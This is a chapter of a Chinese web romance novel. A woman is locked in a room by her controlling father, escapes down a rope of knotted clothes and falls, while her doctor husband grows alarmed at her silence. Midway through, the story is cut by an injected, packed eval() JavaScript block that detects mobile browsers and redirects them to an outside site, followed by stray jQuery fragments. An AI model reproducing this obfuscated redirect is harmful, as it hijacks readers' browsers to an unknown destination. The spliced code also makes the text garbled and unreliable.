“不要!”
方好冲上前,却撞在门板上,方志强已经将房门关上。
“你放我出去!”方好一边大叫一边用力拧着门把,但方志强在外面死死地按住,她根本拉不动。
她听到方志强说:“快,去给我拿钥匙来。”
这种老式的门锁,是可以用钥匙从外面反锁的。反锁后,没有钥匙里面是无法打开的。
“不要!”方好听着锁扣拧动的声音,用力地拍着房门,急得眼泪掉了下来,“爸!你放我出去!妈——”
她听到林芳的声音在门外无力地劝道:“哎呀,干嘛搞成这样呢?你让阿好出来好好说啊。”
“慈母多败女。”方志强咆哮的声音隔着房门传来,“她变得这么叛逆就是被你惯出来的!我告诉你们,谁也不准放她出来!”
方好皱了皱眉,这个家里就没人敢反抗方志强,他不让他们放她出来,就没有人敢忤逆他的意思。
怎么办?报警!对,手机,打电话!
她双手按向自己的裤兜,却感觉到两侧空空。
糟了,手机被她放在包里,而她的包在外面。
还能怎么办?
……
温少航看方好突然就不回信息了,以为她是被他逗得害羞了,也没放在心上。
一直到夜里11点多,他稍稍闲下来,以前这个时候他都会抓着这些碎片时间补觉。今晚他却不舍得睡,想着方好平时这个点还没睡觉,便掏出手机,给她发信息过去:睡了吗?
他握着手机,眼睛一直停留在聊天页面上,可是却始终等不到方好的回复。
难道今晚这么早睡?
不知道为什么,他的心里莫名地不安,差点就想直接打电话过去。
转瞬,他又笑自己。
他真的,怎么都快三十的人了,还像个十几岁的毛头小子,等不到老婆的信息就焦躁不安。
刚安抚过自己后,没过几分钟,他又紧张起来。
她睡前为什么不给自己发个晚安信息?
当然,他们好像也没这种习惯。
但之前是他们还没和好,不发正常,为什么她现在也不发呢?
难道她不想他吗?
他握着手机,将聊天页面往上滑,仔细检查自己是否哪句话惹恼了她。
好像也没有,都挺正常的。
他烦闷地叹了口气,又发了条信息过去:晚安,起床给我个信息。
被关在房间里的方好没法看到温少航的信息。
她坐在地上的爬行垫,无力地靠坐在墙上。
午饭之后,她就没有再吃过东西。她现在感到浑身无力,四肢都被饥饿感束缚,要用力地将她拖往一个黑不见底的名为绝望的深渊。
“吧嗒。”她听到锁扣拧动的轻响,猛地提起精神站起来,看向走进房间的人,“妈……”
林芳一手捧着一个碗,一手拿着她的杯子走进来,说:“饿了吧,吃点东西。”
方好仿佛看到希望,压低声音说:“妈,爸睡了吗?你让我出去好不好?”
林芳将食指竖在嘴唇边“嘘”了一声,说:“没呢,你爸……”
“你还在里面干什么!”门外传来方志强的声音,吼道,“放下东西赶紧出来!”
“好啦——”林芳应道,又对方好说,“乖,你在这里好好待两天,等你爸消气了就会放你出去。”
“不行,妈……”方好还没说完,林芳就已经转身关上门走了,留下她独自一人在房间无奈地叹了口气。她看了一眼林芳送进来的饭菜和水,一点胃口都没有。只是拿起杯子,喝了一口水。
她饿着肚子,迷迷糊糊地在地上睡到了第二天。
温少航看了眼时间,往常这个点,方好已经醒了,可是为什么还没收到她的信息?
他主动给她发信息过去:醒了吗?
依然没回。
心里那股不安感更重了。
他顾不上那么多,直接给方好打电话过去。
方志强一家正好在吃早餐,听到电话响,方志强从方好的袋子里找到电话,看到上面“温少航”三个字,直接挂断。
并且将方好的手机关机。
房间里的方好也被隐约的电话声叫醒,她猛地起身。不知道为什么,她觉得这个电话是温少航打来的,赶紧拍着门喊道:“是我的电话吗?是谁找我?你们把手机给我!”
方志强挂了电话,走到房门前,对着里面大声说道:“别做梦了,你不跟那人离婚,就别想出去!也别想要手机跟他联系。”
温少航被挂断了电话,觉得更加古怪了。
方好能挂电话,说明她醒着,那为什么不回他信息,也不接他电话?
他又打了一次,这次直接被告知“您拨打的用户已关机”。
怎么回事?
方好越来越绝望。
她觉得方志强似乎是来真的。
事实上,他没有哪一次是跟她开玩笑的。
当年,他为了逼她报考定向生,威胁她说大学不会给她花一分钱。
那四年,他确实给过她一份钱。
她的生活费全靠补助和自己做家教做兼职得来。
她相信他这次也不是开玩笑的。
他是真的想通过这种方式逼她就范。
或许他现在已经没那么在乎赵安睿还愿不愿意娶结过婚的她,他现在气的是她竟然敢忤逆他,他想要保住的是他在这个家作为一家之主的威严。
这个屋子里已经没有任何人能靠得住了,她必须自己想办法。
她抬起头环顾这个房间,这里已经变成了她侄子的玩具房,现在房间里的东西基本上全是小孩子的玩具,派不上任何用场。就连一支笔一张纸都没有,要是这里还是她原来的房间就好了。
怎么办?
方好有些着急。差不多一天没吃东西,现在一着急,她整个人都有点头晕,只好扶着墙先坐下,有点绝望地靠在墙上,仰着头透过阳台看向外面晴朗的蓝天。
晒在阳台上的衣服在微风中轻轻摇曳。
她这个房间很小,连着一个小阳台,一直都是家里用来晒衣服的地方。
或许是因为她被关在这里,昨晚林芳都没来这个阳台晒衣服,而原本晒在这里的衣服也没有收起来。
阳台……
他们这种老小区阳台都是没封起来的。
像是一缕阳光照进暗无天日的洞穴,方好猛地站起来,快步走到阳台。她趴在护墙上往下看,不知道是不是没吃东西,她觉得有点晕。
闭上眼睛深呼吸,她在心里告诉自己,三楼,不算很高。
可是,要怎么下去?
如果直接跳下去,就算不死也残废。
她又回到房间四处张望,都是一些没用的玩具。
她有些苦恼地看向阳台,好不容易有一个逃生通道,却又还差那么一点。
不甘心。
一阵微风拂过,挂在阳台上的衣服又轻轻摇曳,就像在对她轻轻招手。
如果……
把这些衣服绑在一起,绑成一条绳子,可行吗?
这个想法刚在大脑里冒出来,心脏就兴奋地跳动起来,浑身的细胞也在沸腾。
她深呼吸一口气,强迫自己镇定下来,仔细听着房门外的声响。
他们都还在。
而且,现在外面人正多,就这么爬墙下去很快就会被发现的。
要耐心点,再等一等。
一直到中午,林芳煮好了午饭给方好送进来的时候,看到她有气无力地坐在地上,昨晚的饭是一口没吃。她忍不住一阵心疼,说:“阿好,别跟自己堵气,不吃饭熬坏的也是自己身体。”
这次,她没有直接将碗放下就走,而是碰到方好面前蹲下,舀起一勺饭,说:“来,吃一点。”
方好看了她一眼,什么都没说,方志强就来到房门外,大声吼道:“她不吃就让她饿着,我就不信她能把自己饿死。不准喂!”
方好轻轻地叹了口气,抬手捧起碗,说:“妈,我自己来。”
“好,那你记得吃。”
“嗯。”方好点点头。
是,她必须要吃点东西,不然待会会没有力气逃走的。
一个钟之后,林芳又倒了一杯水进来,看到那碗饭果然被方好吃完了,开心地说:“吃饱了吗?还要不要?”
方好摇摇头。
林芳把水放下,安慰她:“你别着急,你爸就是气头上,我待会跟他说说,他这两天消气就会放你出去了啊,别着急。”
方好轻轻点点头,什么都没说。
林芳出去后,她靠在门板上,仔细听着门外的动静。她知道方志强和林芳都有午睡习惯,而弟媳也要带小孩睡觉。中午时分,外面人也少,正是逃跑的时候。
她听着他们陆续走进自己房间,关上房门,便来到阳台,将衣服一一收下,打结绑在一起,拧成一条绳。再把衣服绑在窗户的栏杆上,扔了下去。
虽然距离地面还有一小截,不过差得不多,到时直接跳下去就可以。
事不宜迟,她再次扯了扯这条用衣服绑成的绳子,确认绑结实了,便抓着绳子,翻过阳台护墙。刚翻过去,双脚失去支撑,这种悬空感让她害怕得紧紧地抓着绳子,一动不敢动。
她觉得自己有点大意了,她平时不爱运动,更不爱这些极限运动,现在大脑都是懵的,不知道自己应该怎么做。
双手被绳子勒得又红又痛,方好闭上眼睛,深呼吸了好几次,强迫自己冷静。她尝试将双脚踩在墙壁上,像攀岩的人一样,双脚顺着墙壁一步一步地往下移动。
似乎行得通。
方好稳住呼吸和动作,一点一点地爬下去。
到达二楼的阳台时,她双脚踩在护墙上,本想趁机休息下,没想到这户人家这时候刚好有人走了进来,看到阳台上站了个人,顿时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687060|207094||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吓得大叫:“哎呀你是什么人啊——你哪里爬进来的?”
“嘘!嘘!”方好一手抓着绳子,一手竖起食指在嘴边做着“嘘”的动作,想让对方冷静下来,“我是楼上的……”
“楼上?你楼上爬我家里干什么?”
“阿姨,你不要这么大声好不好?”这位阿姨嗓子实在太大了,方好担心会吵醒方志强,拜托她小点声。她突然心生一计,问道,“或者,你能不能让我进去,让我从你家出去可以吗?”
“不行不行!”阿姨挥着手赶她,说,“我怎么知道你是什么人啊?怎么知道你跑我家要干什么?你快走快走!”说着,直接上前要推她。
方好赶紧抓着绳子,说:“好好好,我走我走。”
见此计不成,方好只好按照原计划进行,再次抓紧绳子,重复刚才的动作往下爬。因为担心刚才的动静会惊动方志强,她不敢怠慢,虽然很累了,但动作比刚才还快了一点。
二楼的阿姨低头看看她,又抬头往上看,这条绳子好像还真是从三楼伸出来的。
但是,好好的人家干嘛要爬墙呢?
眼看方好就要下到地面了,她突然朝上喊道:“哎,三楼的——你们有人在家吗?”
方好的心猛地一跳,开口制止道:“阿姨,求求你,不要喊了。”
可是,已经晚了。
方志强的脸突然从三楼的阳台出现。
“臭丫头!你还敢跑?真是翅膀硬了!”说着,他扯着绳子,用力想把方好拽上来。
这时,林芳也过来了,看到这情景大叫起来:“哎呀——老方你别拽她啦,等下她掉下去了怎么办啊!”
“她摔死也活该!”
方好被方志强扯得无法平衡身体,更没法继续往下爬,身体在空中左摇右摆。
她咬着牙,双手紧紧地拽住绳子,像是抓住最后的救命稻草。
为什么?就差一点了……
为什么就算她再怎么努力,每次都会功亏一篑?
那种她原本已经抓住了希望,却又突然被人抽走的心痛再次袭来。
十年前,本来她有一个可以离开这里的机会。
可是,因为方志强,他就像现在这样,扯着她逃生的绳子,告诉她,如果你从这里离开,就会摔得粉身碎骨。
她害怕了,只能眼睁睁地看着那个机会从手中溜走。
今天,此刻,她又再一次被逼入这样的境地。
她又面临是继续被困着,还是放手一搏的抉择。
方好抓着绳子,往下看了一眼,她已经到一楼和二楼的交界处了,现在距离地面应该两米多一点。
从两米高的地方摔下去会怎样?
她不知道。
心脏剧烈地跳动。
她也分不清自己是兴奋还是害怕,却感觉到在一刻,大脑格外地清明。
是继续被困在这里,还是放手一搏?
这十年间,每一次都是这样,在面临选择的时候,她总是下意识后退,选择那条自己不一定想走,但比较安全保险的路。
因为另一条路前路未卜,充满危险,她害怕。
这样的选择放在今天,她却突然不纠结了。
她冷静了下来,平静地抬头看着方志强。
方志强动作一顿,怔了一下。
下一秒,出乎所有人意料,方好松开了手——
……
市中心医院,骨科病房。
温少航经过病房的时候,看到小梦已经收拾好东□□自一人乖乖地坐在病床上。
他走了进去,问道:“你家里人还没来接你吗?”
小梦抬起头说:“方老师说她会来接我。”
“方老师?”
“对呀,她昨天答应我的。她说下课后来接我出院,然后带我去吃中午饭,再送我回家,还让我跟舅舅说一声呢。”小梦有些着急地问,“可是老师为什么这么久还不来啊?”
温少航皱了皱眉头,方好不是这样言而无信的人,想起她从昨天看过小梦后就联系不上了,他心里的不安达到顶峰。
“你别着急,我打个电话问问。”温少航再次拨打了方好的电话,仍然提示关机。
他想起小梦刚才说,方好今天是下课后才来接小梦,说明她今天是有课的。
他找到方好上课那家培训机构的电话,打了过去,问:“你好,请问方好老师在吗?”
“方老师啊?不好意思哦,她今天没来上课。”
温少航呼吸一窒,他肯定方好是出事了!
他撒腿就往病房外跑,正想向医院请个假,就收到了急诊室的通知:
“温医生,急诊抢救室,高危坠落伤,意识不清,紧急会诊!”
怎么偏偏在这个时候?
温少航紧皱着眉头,天人交战,握着手机,咬咬牙。
护士不解地看着他,又提醒道:“温医生?”
“来了。”